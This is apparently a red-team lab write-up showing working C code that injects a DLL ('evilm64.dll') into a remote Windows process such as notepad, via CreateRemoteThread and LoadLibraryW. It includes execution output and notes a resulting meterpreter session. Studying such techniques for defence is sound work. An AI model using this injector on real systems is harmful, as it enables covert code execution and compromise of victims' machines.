DLL Injection

[Polaris]

Injecting DLL into a remote process.

This lab attempts a classic DLL injection into a remote process.

Execution

int main(int argc, char *argv[]) {
    HANDLE processHandle;
    PVOID remoteBuffer;
    wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
    
    printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);   
    WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
    PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
    CloseHandle(processHandle);
    
    return 0;
}

Compiling the above code and executing it with a supplied argument of 4892 which is a PID of the notepad.exe process on the victim system:

PS C:\experiments\inject1\x64\Debug> .\inject1.exe 4892
Injecting DLL to PID: 4892

After the DLL is successfully injected, the attacker receives a meterpreter session from the injected process and its privileges:





Observations
Note how the notepad spawned rundll32 which then spawned a cmd.exe because of the meterpreter payload (and attacker's shell command) that got executed as part of the injected evilm64.dll into the notepad process:









References

GetProcAddress function (libloaderapi.h) - Win32 apps

Retrieves the address of an exported function or variable from the specified dynamic-link library (DLL).

learn.microsoft.com

LoadLibraryA function (libloaderapi.h) - Win32 apps

Loads the specified module into the address space of the calling process. (LoadLibraryA)

learn.microsoft.com